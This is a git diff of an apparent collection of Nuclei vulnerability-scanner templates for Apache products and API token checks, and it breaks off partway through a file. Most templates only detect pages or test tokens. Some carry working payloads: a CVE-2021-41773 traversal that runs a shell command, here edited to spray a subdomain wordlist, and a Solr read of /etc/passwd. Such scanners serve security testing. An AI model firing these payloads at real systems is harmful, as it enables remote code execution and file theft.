-10,11 +11,17 @@ info: - https://twitter.com/ptswarm/status/1445376079548624899 - https://github.com/blasty/CVE-2021-41773 tags: cve,cve2021,rce,apache + requests: - - raw: + - payloads: + Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt + attack: sniper + threads: 100 + + raw: - | POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 - Host: {{Hostname}} + Host: {{Subdomains}} Content-Type: application/x-www-form-urlencoded echo Content-Type: text/plain; echo; id @@ -23,6 +30,7 @@ requests: - type: status status: - 200 + - type: word condition: and part: body @@ -30,6 +38,7 @@ requests: - 'uid=' - 'gid=' - 'groups=' + extractors: - type: regex regex: diff --git a/poc/apache/apache-rocketmq-broker-unauth.yaml b/poc/apache/apache-rocketmq-broker-unauth.yaml new file mode 100644 index 0000000000..548ceb290d --- /dev/null +++ b/poc/apache/apache-rocketmq-broker-unauth.yaml @@ -0,0 +1,43 @@ +id: apache-rocketmq-broker-unauth + +info: + name: Apache Rocketmq Broker - Unauthenticated Access + author: j4vaovo + severity: high + description: | + Apache Rocketmq Unauthenticated Access were detected. + reference: + - https://rocketmq.apache.org/docs/bestPractice/03access + metadata: + fofa-query: protocol="rocketmq" + max-request: 1 + shodan-query: title:"RocketMQ" + verified: true + tags: network,rocketmq,broker,apache,unauth,misconfig + +tcp: + - inputs: + - data: "000000c9000000b17b22636f6465223a32352c226578744669656c6473223a7b224163636573734b6579223a22726f636b65746d7132222c225369676e6174757265223a222b7a6452645575617a6953516b4855557164727477673146386a6b3d227d2c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3433337d746573745f6b65793d746573745f76616c75650a0a" + type: hex + + host: + - "{{Hostname}}" + port: 10911 + read-size: 2048 + + matchers-condition: and + matchers: + - type: word + words: + - serializeTypeCurrentRPC + - language + - opaque + - version + condition: and + + - type: word + words: + - "HTTP" + - "FTP" + negative: true +# digest: 490a00463044022047caf8ef37a3c31f120635dab95c1e57db0a0c80a9f44a563f77e45b5fc9d4670220123bbc8168d521dc2e99cb0d03c60f343b294c98591a3d2b88de4b415479e505:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/apache/apache-solr-file-read-367.yaml b/poc/apache/apache-solr-file-read-367.yaml index 0906dfaa9c..f5bf3d8e08 100644 --- a/poc/apache/apache-solr-file-read-367.yaml +++ b/poc/apache/apache-solr-file-read-367.yaml @@ -1,36 +1,26 @@ id: apache-solr-file-read + info: name: Apache Solr <= 8.8.1 Arbitrary File Read - author: DhiyaneshDk + author: 0xParthJ severity: high - tags: apache,solr,lfi - reference: | + reference: - https://twitter.com/Al1ex4/status/1382981479727128580 - https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/ - https://twitter.com/sec715/status/1373472323538362371 + tags: apache,solr,lfi + requests: - - raw: - - | - GET /solr/admin/cores?wt=json HTTP/1.1 - Host: {{Hostname}} - Accept-Language: en - Connection: close - - | - GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1 - Host: {{Hostname}} - Accept-Language: en - Connection: close - extractors: + - method: GET + path: + - '{{BaseURL}}/solr/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex regex: - - '"status"\:\{"(.*?)"\:\{"name"' - name: core - group: 1 - internal: true - req-condition: true - matchers: - - type: dsl - dsl: - - 'status_code_2 == 200' - - 'regex("root:[x*]:0:0:", body_2)' - condition: and + - "root:.*:0:0:" diff --git a/poc/apache/apache-tomcat-CVE-2022-34305.yaml b/poc/apache/apache-tomcat-CVE-2022-34305.yaml new file mode 100644 index 0000000000..ec39b0e707 --- /dev/null +++ b/poc/apache/apache-tomcat-CVE-2022-34305.yaml @@ -0,0 +1,21 @@ +id: apache-tomcat-CVE-2022-34305 +info: + name: Apache Tomcat CVE-2022-34305 + author: wasp76b + severity: low + reference: https://www.openwall.com/lists/oss-security/2022/06/23/1 + tags: apache,misconfig,tomcat,disclosure + +requests: + - method: GET + path: + - "{{BaseURL}}/examples/jsp/security/protected/index.jsp" + matchers-condition: and + matchers: + - type: word + words: + - 'Login Page for Examples' + + - type: status + status: + - 200 diff --git a/poc/apache/apache-tomcat-cve-2022-34305.yaml b/poc/apache/apache-tomcat-cve-2022-34305.yaml index ec39b0e707..40fd7523ae 100644 --- a/poc/apache/apache-tomcat-cve-2022-34305.yaml +++ b/poc/apache/apache-tomcat-cve-2022-34305.yaml @@ -5,7 +5,6 @@ info: severity: low reference: https://www.openwall.com/lists/oss-security/2022/06/23/1 tags: apache,misconfig,tomcat,disclosure - requests: - method: GET path: @@ -15,7 +14,6 @@ requests: - type: word words: - 'Login Page for Examples' - - type: status status: - 200 diff --git a/poc/apache/apache-tomcat-snoop-374.yaml b/poc/apache/apache-tomcat-snoop-374.yaml new file mode 100644 index 0000000000..15b5a1beab --- /dev/null +++ b/poc/apache/apache-tomcat-snoop-374.yaml @@ -0,0 +1,24 @@ +id: apache-tomcat-snoop + +info: + name: Apache Tomcat example page disclosure - snoop + author: pdteam + severity: low + description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection. + reference: https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks + tags: apache + +requests: + - method: GET + path: + - "{{BaseURL}}/examples/jsp/snp/snoop.jsp" + + matchers-condition: and + matchers: + - type: word + words: + - 'Request URI: /examples/jsp/snp/snoop.jsp' + + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/apache/apache-tomcat-snoop-375.yaml b/poc/apache/apache-tomcat-snoop-375.yaml deleted file mode 100644 index 266c29ed79..0000000000 --- a/poc/apache/apache-tomcat-snoop-375.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: apache-tomcat-snoop - -info: - name: Apache Tomcat example page disclosure - snoop - author: pdteam - severity: low - description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection. - reference: https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks - tags: apache,misconfig,tomcat,disclosure - -requests: - - method: GET - path: - - "{{BaseURL}}/examples/jsp/snp/snoop.jsp" - - matchers-condition: and - matchers: - - type: word - words: - - 'Request URI: /examples/jsp/snp/snoop.jsp' - - - type: status - status: - - 200 diff --git a/poc/apache/apache-tomcat-snoop.yaml b/poc/apache/apache-tomcat-snoop.yaml index 15b5a1beab..266c29ed79 100644 --- a/poc/apache/apache-tomcat-snoop.yaml +++ b/poc/apache/apache-tomcat-snoop.yaml @@ -6,7 +6,7 @@ info: severity: low description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection. reference: https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks - tags: apache + tags: apache,misconfig,tomcat,disclosure requests: - method: GET @@ -21,4 +21,4 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 diff --git a/poc/apache/default-apache-test-all-6815.yaml b/poc/apache/default-apache-test-all-6815.yaml new file mode 100644 index 0000000000..ce2216bbb0 --- /dev/null +++ b/poc/apache/default-apache-test-all-6815.yaml @@ -0,0 +1,29 @@ +id: default-apache-test-all + +info: + name: Apache HTTP Server Test Page + author: andydoering + description: Detects default installations of apache (not just apache2 or installations on CentOS) + severity: info + tags: tech,apache + metadata: + shodan-query: http.title:"Apache+Default","Apache+HTTP+Server+Test","Apache2+It+works" + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers: + - type: regex # type of the extractor + part: body # part of the response (header,body,all) + condition: or + regex: + - ".*?Apache(|\\d+) .*?(Default|Test).*?" + - "(Default|Test).*? Apache(|\\d+).*?" + + extractors: + - type: kval + part: header + kval: + - server diff --git a/poc/apache/default-apache-test-all-6813.yaml b/poc/apache/default-apache-test-all.yaml similarity index 100% rename from poc/apache/default-apache-test-all-6813.yaml rename to poc/apache/default-apache-test-all.yaml diff --git a/poc/apache/default-apache-test-page-6816.yaml b/poc/apache/default-apache-test-page-6816.yaml index f727151d6a..7924f07b0c 100644 --- a/poc/apache/default-apache-test-page-6816.yaml +++ b/poc/apache/default-apache-test-page-6816.yaml @@ -1,17 +1,15 @@ id: default-apache-test-page - info: name: Apache HTTP Server Test Page author: dhiyaneshDk severity: info + metadata: + shodan-query: http.title:"Apache HTTP Server Test Page powered by CentOS" tags: tech,apache - reference: https://www.shodan.io/search?query=http.title%3A%22Apache+HTTP+Server+Test+Page+powered+by+CentOS%22 - requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: diff --git a/poc/apache/default-apache-test-page.yaml b/poc/apache/default-apache-test-page.yaml deleted file mode 100644 index 69f573761a..0000000000 --- a/poc/apache/default-apache-test-page.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: default-apache-test-page -info: - name: Apache HTTP Server Test Page - author: dhiyaneshDk - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Apache+HTTP+Server+Test+Page+powered+by+CentOS%22 - tags: tech,apache -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "Apache HTTP Server Test Page powered by CentOS" - part: body diff --git a/poc/apache/default-apache2-page-6804.yaml b/poc/apache/default-apache2-page-6804.yaml index 074ad94a7d..5b0059bd91 100644 --- a/poc/apache/default-apache2-page-6804.yaml +++ b/poc/apache/default-apache2-page-6804.yaml @@ -1,15 +1,17 @@ id: default-apache2-page + info: name: Apache2 Default Test Page author: dhiyaneshDk severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Apache2+Debian+Default+Page%3A+It+works%22 tags: tech,apache + reference: https://www.shodan.io/search?query=http.title%3A%22Apache2+Debian+Default+Page%3A+It+works%22 + requests: - method: GET path: - '{{BaseURL}}' + matchers: - type: word words: diff --git a/poc/apache/default-apache2-page-6805.yaml b/poc/apache/default-apache2-page-6805.yaml index a123e40b22..001fda6ecd 100644 --- a/poc/apache/default-apache2-page-6805.yaml +++ b/poc/apache/default-apache2-page-6805.yaml @@ -1,18 +1,15 @@ id: default-apache2-page - info: name: Apache2 Default Test Page author: dhiyaneshDk severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Apache2+Debian+Default+Page%3A+It+works%22 + metadata: + shodan-query: http.title:"Apache2 Debian Default Page:" tags: tech,apache - requests: - method: GET path: - '{{BaseURL}}' - matchers: - type: word words: diff --git a/poc/apache/default-apache2-ubuntu-page-6808.yaml b/poc/apache/default-apache2-ubuntu-page-6808.yaml deleted file mode 100644 index 3c97cba742..0000000000 --- a/poc/apache/default-apache2-ubuntu-page-6808.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: default-apache2-ubuntu-page - -info: - name: Apache2 Ubuntu Default Page - author: dhiyaneshDk - severity: info - tags: tech,apache - reference: https://www.shodan.io/search?query=http.title%3A%22Apache2+Ubuntu+Default+Page%22 - -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers: - - type: word - words: - - "Apache2 Ubuntu Default Page: It works" - part: body diff --git a/poc/apache/default-apache2-ubuntu-page-6809.yaml b/poc/apache/default-apache2-ubuntu-page-6809.yaml index 6738fe2192..61ba9b8c68 100644 --- a/poc/apache/default-apache2-ubuntu-page-6809.yaml +++ b/poc/apache/default-apache2-ubuntu-page-6809.yaml @@ -1,11 +1,13 @@ id: default-apache2-ubuntu-page + info: name: Apache2 Ubuntu Default Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"Apache2 Ubuntu Default Page" + reference: + - https://www.shodan.io/search?query=http.title%3A%22Apache2+Ubuntu+Default+Page%22 tags: tech,apache + requests: - method: GET path: diff --git a/poc/apache/default-apache2-ubuntu-page-6810.yaml b/poc/apache/default-apache2-ubuntu-page-6810.yaml index 83b392e20a..3c97cba742 100644 --- a/poc/apache/default-apache2-ubuntu-page-6810.yaml +++ b/poc/apache/default-apache2-ubuntu-page-6810.yaml @@ -4,9 +4,8 @@ info: name: Apache2 Ubuntu Default Page author: dhiyaneshDk severity: info - metadata: - shodan-query: http.title:"Apache2 Ubuntu Default Page" tags: tech,apache + reference: https://www.shodan.io/search?query=http.title%3A%22Apache2+Ubuntu+Default+Page%22 requests: - method: GET diff --git a/poc/api/alfacgiapi-wordpress-256.yaml b/poc/api/alfacgiapi-wordpress-256.yaml index 69b0d39f88..f8d61143d9 100644 --- a/poc/api/alfacgiapi-wordpress-256.yaml +++ b/poc/api/alfacgiapi-wordpress-256.yaml @@ -1,4 +1,5 @@ id: alfacgiapi-wordpress + info: name: alfacgiapi author: pussycat0x @@ -6,6 +7,7 @@ info: description: Searches for sensitive directories present in the ALFA_DATA. reference: https://www.exploit-db.com/ghdb/6999 tags: wordpress,listing + requests: - method: GET path: @@ -13,6 +15,7 @@ requests: - "{{BaseURL}}/wp-content/uploads/alm_templates/ALFA_DATA/alfacgiapi/" - "{{BaseURL}}/ALFA_DATA/alfacgiapi/" - "{{BaseURL}}/cgi-bin/ALFA_DATA/alfacgiapi/" + matchers-condition: and matchers: - type: word diff --git a/poc/api/apache-apisix-panel-336.yaml b/poc/api/apache-apisix-panel-336.yaml new file mode 100644 index 0000000000..dbd94dc5bf --- /dev/null +++ b/poc/api/apache-apisix-panel-336.yaml @@ -0,0 +1,33 @@ +id: apache-apisix-panel + +info: + name: Apache APISIX Login Panel + author: pikpikcu + severity: info + description: An Apache APISIX login panel was detected. + metadata: + fofa-query: title="Apache APISIX Dashboard" + tags: apache,apisix,panel + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/user/login?redirect=%2F" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Apache APISIX Dashboard' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/16 diff --git a/poc/api/apache-apisix-panel-338.yaml b/poc/api/apache-apisix-panel-338.yaml deleted file mode 100644 index 2c6124e710..0000000000 --- a/poc/api/apache-apisix-panel-338.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: apache-apisix-panel - -info: - name: Apache APISIX Login Panel - author: pikpikcu - severity: info - description: An Apache APISIX login panel was detected. - classification: - cwe-id: CWE-200 - metadata: - fofa-query: title="Apache APISIX Dashboard" - tags: apache,apisix,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/user/login?redirect=%2F" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Apache APISIX Dashboard' - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/16 diff --git a/poc/api/api-abuseipdb-384.yaml b/poc/api/api-abuseipdb-384.yaml index 077084fa93..ca83d86700 100644 --- a/poc/api/api-abuseipdb-384.yaml +++ b/poc/api/api-abuseipdb-384.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://docs.abuseipdb.com/ - - https://github.com/daffainfo/all-about-apikey/blob/main/Anti%20Malware/AbuseIPDB.md + - https://github.com/daffainfo/all-about-apikey/blob/main/Anti-Malware/AbuseIPDB.md tags: token-spray,abuseipdb self-contained: true diff --git a/poc/api/api-adafruit-io-387.yaml b/poc/api/api-adafruit-io-387.yaml new file mode 100644 index 0000000000..87985ad5a3 --- /dev/null +++ b/poc/api/api-adafruit-io-387.yaml @@ -0,0 +1,30 @@ +id: api-adafruit-io + +info: + name: Adafruit IO API Test + author: dwisiswant0 + severity: info + reference: + - https://io.adafruit.com/api/docs/ + metadata: + max-request: 1 + tags: token-spray,adafruit + +self-contained: true + +http: + - method: GET + path: + - "https://io.adafruit.com/api/v2/user" + + headers: + X-AIO-Key: "{{token}}" + matchers: + - type: word + part: body + words: + - '"username":' + - '"id":' + condition: and + +# digest: 4a0a00473045022100bd2cde5742fc5e144ec6165cbc4dac66a0c51f4c574e845586f7ad8a47b196cb02206243f827c0ea95f3c051255499e838a938ac1a03275a636a90746a583327cd9e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-adafruit-io.yaml b/poc/api/api-adafruit-io.yaml deleted file mode 100644 index 5fc0e8d40c..0000000000 --- a/poc/api/api-adafruit-io.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: api-adafruit-io - -info: - name: Adafruit IO API Test - author: dwisiswant0 - severity: info - reference: https://io.adafruit.com/api/docs/ - tags: token-spray,adafruit - -self-contained: true -requests: - - method: GET - path: - - "https://io.adafruit.com/api/v2/user" - headers: - X-AIO-Key: "{{token}}" - - matchers: - - type: word - part: body - words: - - '"username":' - - '"id":' - condition: and \ No newline at end of file diff --git a/poc/api/api-alienvault.yaml b/poc/api/api-alienvault.yaml new file mode 100644 index 0000000000..8bfd4447da --- /dev/null +++ b/poc/api/api-alienvault.yaml @@ -0,0 +1,26 @@ +id: api-alienvault + +info: + name: AlienVault Open Threat Exchange (OTX) API Test + author: daffainfo + severity: info + reference: + - https://otx.alienvault.com/api + - https://github.com/daffainfo/all-about-apikey/blob/main/Anti-Malware/AlienVault%20Open%20Threat%20Exchange.md + tags: token-spray,alienvault + +self-contained: true +requests: + - raw: + - | + GET https://otx.alienvault.com/api/v1/pulses/subscribed?page=1 HTTP/1.1 + Host: otx.alienvault.com + X-OTX-API-KEY: {{token}} + + matchers: + - type: word + part: body + words: + - '"$schema":' + - '"properties":' + condition: and diff --git a/poc/api/api-apigee-edge-391.yaml b/poc/api/api-apigee-edge-391.yaml new file mode 100644 index 0000000000..e2d7fba259 --- /dev/null +++ b/poc/api/api-apigee-edge-391.yaml @@ -0,0 +1,36 @@ +id: api-apigee-edge + +info: + name: Apigee Edge API Test + author: dwisiswant0 + severity: info + reference: + - https://apidocs.apigee.com/apis + metadata: + max-request: 1 + tags: token-spray,apigee + +self-contained: true + +http: + - method: GET + path: + - "https://apimonitoring.enterprise.apigee.com/alerts" + + headers: + Authorization: Bearer {{token}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - '"uuid":' + - '"name":' + condition: and + +# digest: 4a0a00473045022100e845a1ceb69b8a5d6c312ad52ccdbed0e07b6bca2d1cbef0354f9c9f46b486a702203ef383498432551eb9091e1ec2acab8f8a0979e1a66312addc036e38e9de000f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-apigee-edge.yaml b/poc/api/api-apigee-edge.yaml deleted file mode 100644 index e724933ea0..0000000000 --- a/poc/api/api-apigee-edge.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: api-apigee-edge - -info: - name: Apigee Edge API Test - author: dwisiswant0 - severity: info - reference: https://apidocs.apigee.com/apis - tags: token-spray,apigee - -self-contained: true -requests: - - method: GET - path: - - "https://apimonitoring.enterprise.apigee.com/alerts" - headers: - Authorization: Bearer {{token}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - '"uuid":' - - '"name":' - condition: and diff --git a/poc/api/api-appveyor-392.yaml b/poc/api/api-appveyor-392.yaml new file mode 100644 index 0000000000..d868abd588 --- /dev/null +++ b/poc/api/api-appveyor-392.yaml @@ -0,0 +1,31 @@ +id: api-appveyor + +info: + name: AppVeyor API Test + author: dwisiswant0 + severity: info + reference: + - https://www.appveyor.com/docs/api/ + metadata: + max-request: 1 + tags: token-spray,appveyor + +self-contained: true + +http: + - method: GET + path: + - "https://ci.appveyor.com/api/roles" + + headers: + Content-Type: application/json + Authorization: Bearer {{token}} + matchers: + - type: word + part: body + words: + - '"roleId":' + - '"created":' + condition: and + +# digest: 490a00463044022015e6f1f344553fca9c4d1692f24a0f16dfd25d843ca49e5e964b62de347863e9022059f1676f4a19b82033665201e9ba232546dc2321a3469bad64e04a80191e5af2:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-appveyor.yaml b/poc/api/api-appveyor.yaml deleted file mode 100644 index 25bac0e370..0000000000 --- a/poc/api/api-appveyor.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: api-appveyor - -info: - name: AppVeyor API Test - author: dwisiswant0 - severity: info - reference: https://www.appveyor.com/docs/api/ - tags: token-spray,appveyor - -self-contained: true -requests: - - method: GET - path: - - "https://ci.appveyor.com/api/roles" - headers: - Content-Type: application/json - Authorization: Bearer {{token}} - - matchers: - - type: word - part: body - words: - - '"roleId":' - - '"created":' - condition: and \ No newline at end of file diff --git a/poc/api/api-asana.yaml b/poc/api/api-asana.yaml new file mode 100644 index 0000000000..9282cf7a4d --- /dev/null +++ b/poc/api/api-asana.yaml @@ -0,0 +1,21 @@ +id: api-asana + +info: + name: Asana API Test + author: zzeitlin + reference: https://developers.asana.com/docs/using-terminal + severity: info + tags: token-spray,asana + +requests: + - method: GET + path: + - "https://app.asana.com/api/1.0/users/me" + headers: + Authorization: Bearer {{token}} + + matchers: + - type: status + status: + - 401 + negative: true diff --git a/poc/api/api-bingmaps.yaml b/poc/api/api-bingmaps.yaml deleted file mode 100644 index 0892d85b9f..0000000000 --- a/poc/api/api-bingmaps.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: api-bingmaps - -info: - name: Bing Maps API Test - author: zzeitlin - reference: https://docs.microsoft.com/en-us/bingmaps/rest-services/locations/find-a-location-by-address - severity: info - tags: token-spray,bing,maps,bingmaps - -requests: - - method: GET - path: - - "https://dev.virtualearth.net/REST/v1/Locations?CountryRegion=US&adminDistrict=WA&locality=Somewhere&postalCode=98001&addressLine=100%20Main%20St.&key={{token}}" - - matchers: - - type: word - part: body - words: - - 'ValidCredentials' diff --git a/poc/api/api-block-400.yaml b/poc/api/api-block-400.yaml deleted file mode 100644 index 2fc7dfe928..0000000000 --- a/poc/api/api-block-400.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: api-block - -info: - name: block.io API Test - author: daffainfo - severity: info - description: Bitcoin Payment, Wallet & Transaction Data - reference: - - https://block.io/docs/basic - - https://github.com/daffainfo/all-about-apikey/tree/main/block - metadata: - max-request: 1 - tags: token-spray,block - -self-contained: true - -http: - - method: GET - path: - - "https://block.io/api/v2/get_balance/?api_key={{token}}" - - matchers: - - type: word - part: body - words: - - '"network"' - - '"available_balance"' - - '"pending_received_balance"' - condition: and - -# digest: 4b0a00483046022100fd81e0c16388146cbd2b450d6118a86ae188f23abff1b84fd08cdafc4d7638b1022100ba0a85f74493861f7ddbeb5e5f11a6ffc1a597ffc5da016918e2f8dcb099110c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-block.yaml b/poc/api/api-block.yaml new file mode 100644 index 0000000000..616a67dd9f --- /dev/null +++ b/poc/api/api-block.yaml @@ -0,0 +1,26 @@ +id: api-block + +info: + name: block.io API Test + author: daffainfo + severity: info + description: Bitcoin Payment, Wallet & Transaction Data + reference: + - https://block.io/docs/basic + - https://github.com/daffainfo/all-about-apikey/tree/main/block + tags: token-spray,block + +self-contained: true +requests: + - method: GET + path: + - "https://block.io/api/v2/get_balance/?api_key={{token}}" + + matchers: + - type: word + part: body + words: + - '"network"' + - '"available_balance"' + - '"pending_received_balance"' + condition: and diff --git a/poc/api/api-blockchain-398.yaml b/poc/api/api-blockchain-398.yaml deleted file mode 100644 index 4f027d84d3..0000000000 --- a/poc/api/api-blockchain-398.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: api-blockchain - -info: - name: Blockhain API Test - author: daffainfo - severity: info - reference: - - https://api.blockchain.com/v3/#/ - - https://github.com/daffainfo/all-about-apikey/blob/main/Cryptocurrency/Blockchain.md - tags: token-spray,blockchain - -self-contained: true -requests: - - raw: - - | - GET https://api.blockchain.com/v3/exchange/accounts HTTP/1.1 - Host: api.blockchain.com - X-API-Token: {{token}} - - matchers: - - type: word - part: body - words: - - '"currency"' - - '"balance"' - - '"available"' - condition: and diff --git a/poc/api/api-blockchain-399.yaml b/poc/api/api-blockchain-399.yaml new file mode 100644 index 0000000000..afa9207f6c --- /dev/null +++ b/poc/api/api-blockchain-399.yaml @@ -0,0 +1,33 @@ +id: api-blockchain + +info: + name: Blockchain API Test + author: daffainfo + severity: info + reference: + - https://api.blockchain.com/v3/#/ + - https://github.com/daffainfo/all-about-apikey/blob/main/Cryptocurrency/Blockchain.md + tags: token-spray,blockchain + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cwe-id: CWE-200 + +self-contained: true +requests: + - raw: + - | + GET https://api.blockchain.com/v3/exchange/accounts HTTP/1.1 + Host: api.blockchain.com + X-API-Token: {{token}} + + matchers: + - type: word + part: body + words: + - '"currency"' + - '"balance"' + - '"available"' + condition: and + +# Enhanced by cs on 2022/02/28 diff --git a/poc/api/api-blockchain.yaml b/poc/api/api-blockchain.yaml index afa9207f6c..4f027d84d3 100644 --- a/poc/api/api-blockchain.yaml +++ b/poc/api/api-blockchain.yaml @@ -1,17 +1,13 @@ id: api-blockchain info: - name: Blockchain API Test + name: Blockhain API Test author: daffainfo severity: info reference: - https://api.blockchain.com/v3/#/ - https://github.com/daffainfo/all-about-apikey/blob/main/Cryptocurrency/Blockchain.md tags: token-spray,blockchain - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cwe-id: CWE-200 self-contained: true requests: @@ -29,5 +25,3 @@ requests: - '"balance"' - '"available"' condition: and - -# Enhanced by cs on 2022/02/28 diff --git a/poc/api/api-bravenewcoin-401.yaml b/poc/api/api-bravenewcoin-401.yaml new file mode 100644 index 0000000000..16fc432e3f --- /dev/null +++ b/poc/api/api-bravenewcoin-401.yaml @@ -0,0 +1,35 @@ +id: api-bravenewcoin + +info: + name: Brave New Coin API Test + author: daffainfo + severity: info + description: Real-time and historic crypto data from more than 200+ exchanges + reference: + - https://bravenewcoin.com/developers + - https://github.com/daffainfo/all-about-apikey/tree/main/brave-new-coin + metadata: + max-request: 1 + tags: token-spray,bravenewcoin + +self-contained: true + +http: + - raw: + - | + GET https://bravenewcoin.p.rapidapi.com/market HTTP/1.1 + X-Rapidapi-Host: bravenewcoin.p.rapidapi.com + X-Rapidapi-Key: {{token}} + Host: bravenewcoin.p.rapidapi.com + + matchers: + - type: word + part: body + words: + - '"content":' + - '"id":' + - '"baseAssetId":' + - '"quoteAssetId":' + condition: and + +# digest: 4a0a0047304502200d9ad2ba51c3b3734a4f832047399d5abaa1da8671e644b40d20d4213882c53002210099f71895dd017669ce6149dcdd3ef876e217c8f5ba79ca6386b5e43f81d06b05:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-bravenewcoin.yaml b/poc/api/api-bravenewcoin.yaml deleted file mode 100644 index 1fa0c10281..0000000000 --- a/poc/api/api-bravenewcoin.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: api-bravenewcoin - -info: - name: Brave New Coin API Test - author: daffainfo - severity: info - description: Real-time and historic crypto data from more than 200+ exchanges - reference: - - https://bravenewcoin.com/developers - - https://github.com/daffainfo/all-about-apikey/tree/main/brave-new-coin - tags: token-spray,bravenewcoin - -self-contained: true -requests: - - raw: - - | - GET https://bravenewcoin.p.rapidapi.com/market HTTP/1.1 - X-Rapidapi-Host: bravenewcoin.p.rapidapi.com - X-Rapidapi-Key: {{token}} - Host: bravenewcoin.p.rapidapi.com - - matchers: - - type: word - part: body - words: - - '"content":' - - '"id":' - - '"baseAssetId":' - - '"quoteAssetId":' - condition: and diff --git a/poc/api/api-buildkite-402.yaml b/poc/api/api-buildkite-402.yaml index 39176ab3fb..7855f0b53b 100644 --- a/poc/api/api-buildkite-402.yaml +++ b/poc/api/api-buildkite-402.yaml @@ -3,22 +3,18 @@ id: api-buildkite info: name: Buildkite API Test author: zzeitlin + reference: https://buildkite.com/docs/apis/rest-api/user severity: info - reference: - - https://buildkite.com/docs/apis/rest-api/user - metadata: - max-request: 1 tags: token-spray,buildkite self-contained: true - -http: +requests: - method: GET path: - "https://api.buildkite.com/v2/user" - headers: Authorization: Bearer {{token}} + matchers: - type: word part: body @@ -26,6 +22,4 @@ http: - '"id":' - '"graphql_id":' - '"email":' - condition: and - -# digest: 4a0a00473045022100b1e9462eb31a19937ecf593969002cadf169b17731937fb41f262e095067f02002206a2f5621877513735651c7cd41a13fec9c9d4e140adf8f696d5cda2dde328510:922c64590222798bb761d5b6d8e72950 + condition: and \ No newline at end of file diff --git a/poc/api/api-buttercms-403.yaml b/poc/api/api-buttercms-403.yaml index 13e2bf6449..21b6d1dff1 100644 --- a/poc/api/api-buttercms-403.yaml +++ b/poc/api/api-buttercms-403.yaml @@ -3,16 +3,12 @@ id: api-buttercms info: name: ButterCMS API Test author: zzeitlin + reference: https://buttercms.com/docs/api/#introduction severity: info - reference: - - https://buttercms.com/docs/api/#introduction - metadata: - max-request: 1 tags: token-spray,buttercms self-contained: true - -http: +requests: - method: GET path: - "https://api.buttercms.com/v2/posts/?auth_token={{token}}" @@ -24,6 +20,4 @@ http: - '"meta":' - '"data":' - '"url":' - condition: and - -# digest: 4a0a0047304502204dc8c9796e535808254d0eb5626dc45c1b06b31a8bf085440a59efa7dfdf7abc022100e54314942e38c520cc860c0fdb63002f2bb74bca1f4ff487cbc2d9c6e5a0e6a0:922c64590222798bb761d5b6d8e72950 + condition: and \ No newline at end of file diff --git a/poc/api/api-calendly-404.yaml b/poc/api/api-calendly.yaml similarity index 100% rename from poc/api/api-calendly-404.yaml rename to poc/api/api-calendly.yaml diff --git a/poc/api/api-clearbit-407.yaml b/poc/api/api-clearbit-407.yaml new file mode 100644 index 0000000000..94947bf3d0 --- /dev/null +++ b/poc/api/api-clearbit-407.yaml @@ -0,0 +1,33 @@ +id: api-clearbit + +info: + name: Clearbit API Test + 